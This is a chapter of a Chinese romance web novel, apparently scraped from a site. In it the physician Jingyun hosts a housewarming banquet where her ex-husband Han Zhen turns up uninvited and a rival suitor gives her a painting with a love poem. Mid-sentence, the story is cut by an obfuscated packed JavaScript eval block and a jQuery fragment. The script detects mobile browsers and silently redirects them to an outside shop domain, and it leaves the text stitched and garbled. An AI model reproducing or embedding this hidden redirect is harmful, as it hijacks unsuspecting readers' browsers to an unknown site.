他们离得太近了,近到静芸的后背快要被烫化了,她挺直腰背,知道越动就会被缠得更紧,紧要的事,是把手上血迹,蹭韩禛的衣袖上,想来想去还是气不过,狠狠地锤了一下,“放开我。”
韩禛被打,脸上没有丝毫不悦,反而生出意趣,引导静芸打他,接着毫无反抗地任由发泄。
不可否认的是,他原来还是挺享受这样任由摆布的感觉。
当然,这个人只能是静芸。
趁着静芸一不小心划到他脖子,愣神之际,韩禛伸手去捞桌上的拜帖。
静芸伸手去抢拜帖,亏她还心地善良地看在韩禛脖子上留下的指甲印,此人就如此恩将仇报,心中对他的厌恶达到顶峰,“你这人,怎么随便乱动人东西啊?”
“这些世家公子,你了解吗?”韩禛抬手低头,气息洒在她最弱的颈侧,沉闷的声音带着一丝笑意。
就知道他是故意的,静芸瞪大眼睛,眼中写满了此人不可理喻,还是打得轻了。
“我还没看完呢……”
“需要看完吗?这些什么公爵伯爵府,一个个只知道花天酒地的蠢猪,根本配不上你。”
“你这人……”静芸气笑了,“你管得着吗?”
“哦,不用我管。”韩禛一把抓过那些拜帖,扫一眼看过,再一个个地扔掉,最不可置信地还是里面有韩濯。
他哼笑一声,这人是怎么有脸的?
“我知道你是怎么想的。”韩禛歪头,很自信的样子,“你碍于殿下的面子不好拒绝,那就由我来帮你平账。”
“你算什么,帮我平账?”
静芸时常想,韩禛为何会性情大变,是良心发现,心存愧疚,想要弥补她?
她不需要任何弥补。
如今也找不到喜欢韩禛的理由。
想来两人不过相处一年,一年说长不长说短不短,从最初算起,两人也不是因为爱才在一起的,何必纠缠牵绊。
她想,韩禛应该比她要清醒,如今看来,怎么好像并非如此。
“算你,贼心不死的前夫。”韩禛在她耳边,一字一句地说道,他静静地观察着静芸的神情。
他知道静芸在是在厌恶他。
从昔日被视若珍宝,到如今弃如尘芥,韩禛心中清楚,归根结底怪不得别人,是他自作自受。
老天是公平的,怎么可能让他运气那么好,亲手丢掉的真心,还能轻而易举地失而复得?
韩禛又开始头疼欲裂,反倒是真头疼,却不想告诉静芸了,他就这么强撑着,受着他的苦果,信着人定胜天,盼着两人还会回到从前。
他起身,仔细地将写完的请帖,收入怀中,放在心口,“放心,你的乔迁宴,我肯定会来的。”
要说脸皮能厚到什么程度,看看韩禛就知道了,哪有这么强闯民宅要请帖,还如此气定神闲的?
静芸瞪了一眼他远去的背影,气结难言。
-
乔迁宴这日,天朗气清。
静芸穿着月白色的衣裙,清新靓丽,裙摆上是绕着淡绿纹和粉花苞,长发束起,还真有当家人的风范。
卫枕和半夏在门口迎来送往,看着礼单,默默地记下好回礼,抬头就见着一队盖着红布的家什,源源不断地搬入宅邸。
“那是……什么?跟聘礼似的。”半夏目瞪口呆地看着,眼皮跳了一下,不由得头疼,这么多东西得数到什么时候?
她正烦恼着,就见到卫戎走过来,将写好的礼单,放在她的手上,并看了一眼弟弟。
半夏和卫枕打开那厚厚的礼单,一人扯着一角,两颗脑袋,从头到尾地扫了一遍,之后面面相觑。
怎么好像真是来下聘的。
寿康本是不必过来的,但听闻今日许多公侯伯爵的主母,都带着自家未婚公子,有意向静芸提亲,她作为静芸的长辈,自然是要替她周旋一番。
静芸静静地站在一边,她在等着殿下,也下定决心。
就算殿下把她当棋子又怎么样,弄回个男人放在院里养着,也不是不行。
华京,就是一个名利生意场,做生意就不该计较感情,有钱赚就行。
静芸坐在那,面对那些个年轻俊朗的公子,时而笑笑,时而放空,分寸拿得恰到好处。
“我们华京还真是人才辈出啊。”寿嘴角勾起一抹笑意,“当然,成婚择婿,还要看我们静娘子的意愿啊。”
此话一出,在场人脸色一变,主母是为了自家夫君探路来的,若不是看在寿康殿下的面子上,尊贵了一辈子侯爵世家,她们怎会对一个小小医女恭恭敬敬。
就在此时,韩禛走了进来。
还真是不请自来啊。
静芸缓缓地抬起手,指着韩禛。
“除了他,谁都行。”
韩禛没听到前面的话,但也大致猜到是什么,这一屋子人,是为何相聚,他再清楚不过了。
所以,静芸不想要他。
什么将士就该战死沙场?韩禛做梦也没想到,眼下他是想死在这,是撞死还是自刎都无所谓了,最紧要的是,死之前把这屋里的公子都杀了。
众人齐刷刷地朝韩禛看去,指尖韩禛神态自若地对着殿下行礼,然后自觉地走向那个空位,仿佛什么都没听见,也没把任何人放在眼里。
饶是寿康殿下,都觉得眼下局面有些难堪,那是从战场上千锤百炼出来的将军啊,如此被羞辱都脸不红心不跳的。
她是在场最尊贵之人,自然要稳住局面,不能再这么僵持下去,“诸位,宴席马上要开始了,请移步正堂吧,静娘子,快去招待客人吧。”
“是。”静芸起身行礼,她微微抿唇,适才是不是太冒进了,真该收住脾气,不理会他就行了啊。
不过她说的是心里话,好马不吃回头草,无论韩禛怎么想,两人都绝不可能了。
正巧周相府送来贺礼,周文桢跟着小姑一起来参加乔迁宴,自然是开心,许久未见静芸姐姐,他恨不得直接飞扑到静芸的身上,结果跑到半路被四舅给飞身夹在腋下劫走了。
韩禛心情正烦闷,正好有个能磋磨的小人,还有一点私心,是他如今见不得静芸身边有一星半点的男人。
小的也不行。
静芸喜滋滋地与周舒窈一起,带她简单地逛院子,站在树下闲聊。
“静芸。”周舒窈忽然低声开口,往她这边靠了半步,“你觉得韩晏如何?”
“韩家二哥?”静芸想了想,即便在侯府时,两人没什么交集,不过她觉得,韩家二哥是个面冷心热的人,不像韩禛面冷心也冷,“挺好一个人吧。”
要真让静芸说,她还真不知道怎么说,只知道韩家二哥是很稳重的人,也很懂律法,厉害。
“我喜欢他。”周舒窈点点头确信地说,倒是让静芸一愣。
周舒窈确定自己的心意,是在潘家想要选韩晏做女婿开始的。
那时候,她不明白什么是喜欢,只是觉得心里堵了块大石头,她自己都没注意到,会有意无意地向哥哥提起韩晏,后来,还是嫂子过来关心她,才恍然大悟对韩晏的感情。
可她心中有顾虑,且不说家人会不会同意两人的婚事,就是她自己不甘于困顿后宅的心,成婚是要谨慎的。
那一刻,周舒窈无比羡慕静芸,她想,这世道,女子的出路太少了,她算是幸运的,生在一个开明的官宦之家,家中有祖父有长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941421|211991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
兄护她周全,让她读书明理。
“喜欢和他在一起啊。”静芸眼睛亮晶晶的,写满好奇,“你,有什么顾虑?”
相府千金嫁到侯府,那不是侯府高攀吗?况且,韩家已经断了永庆侯府的联系,听说还是韩晏亲自去找潘湄说清楚的。
“哎。”周舒窈耸耸肩,“没什么,就是有些事不想连累他。”
静芸听周舒窈说话,一头雾水,她没细问,抬头见到一抹天蓝色的身影,所有人目光,全都落在站起来的程邈上。
程邈一身白袍青衣,原本就是武将,身姿挺拔,即便在车舆多年,也未曾颓废半分,如今站起来身形高挑,虽然只能借助拐杖,但也足以令人惊叹。
偏偏他那拐杖是根素杖,洁白干净,雕刻着花纹。
韩禛轻哼一声,骚.气。
程邈能站起来,多亏了静芸,在她不知道的日子里,一直刻苦练习,好在没有让她看到自己摔得狼狈的样子。
有哪个医者看到病患变好会不开心?
静芸心里别提有多开心了,像只小鸟一样飞到程邈面前,还贴心地询问他有没有不适。
程邈笑着摇摇头,蹙起的眉间似有一些无奈,“就是站久了,还是会痛。”
“已经很好了啊。”静芸笑着说,“先生的腿可还会痛?回头我弄些外敷的药,新到了好些药材,对了晚上还是要泡热水。”
“知道了。”程邈抬了抬颌,让岑望给他递过来,是他托付友人画的一副《赏秋图》。
画这种东西作为暖房里送给静芸再合适不过了,摆出来放在那,天天看着,就能想起送画的人。
但静芸并不精通画艺,并不知这礼物的贵重,好在身边的周舒窈知道,惊讶地说:“这可是画师大家尹秋水的手比,曾经可是一画难求,如今尹大师归隐田园,请他出山可是难如登天啊。”
经周舒窈这么一说,静芸方知这副画的贵重,连忙道谢,珍重地接过来,展开来看,发觉是他们一起赏秋的场景,旁边还附上一首小诗:
微风轻抚佳人面,淡扫蛾眉立春间。
相逢莫道春光早,秋来相思落鬓边。
尹秋水是洒脱之人,从他的画风笔触便能看出来,不会写出如此细腻的诗。
静芸不懂其中的行道,但周舒窈看一眼,就什么都没明白了,下意识地看向不远处的韩禛。
不远处的韩禛正哄着周文桢,与其说是哄,不如说是一起站在那发呆,他看到了周舒窈的神情,虽然没看到画,但看懂了那一眼复杂的担忧。
他好奇那画了,把主意打在了小孩身上,做了一笔交易,让周文桢把画拿过来给他看。
静芸怎么可能会拒绝一个小孩子?更何况周文桢那么可爱,用一双葡萄大的眼睛望着她。
不过这画实在是金贵,她四下看着嘱咐周文桢别弄坏了,看完了要还回来。
“知道了!”周文桢抱着画跑了。
当韩禛看完画,来找静芸时,看着她正盯着韩柯和殿下出神,忽然一幅画送到面前,把她吓了一跳。
她顺着画朝韩禛看去,明白过来,这人真是无所不用其极,连小孩子都不放过,一把抢过来包抱在怀里问:“你拿我的画做什么?”
“欣赏一下尹大师的……巨作。”韩禛咬紧牙关说道。
他就知道程邈这人不怀好意,拿着他那根骚拐杖招摇过市也就罢了,还写了这么一首矫揉造作的破诗,卖弄什么?
韩禛迫切地想知道,静芸到底读没读懂那首诗,到底看没看懂程邈的心思。
静芸抱着她的画,奇怪地看了一眼韩禛。
他这双红眼,像是要把她吃了的模样,是何意?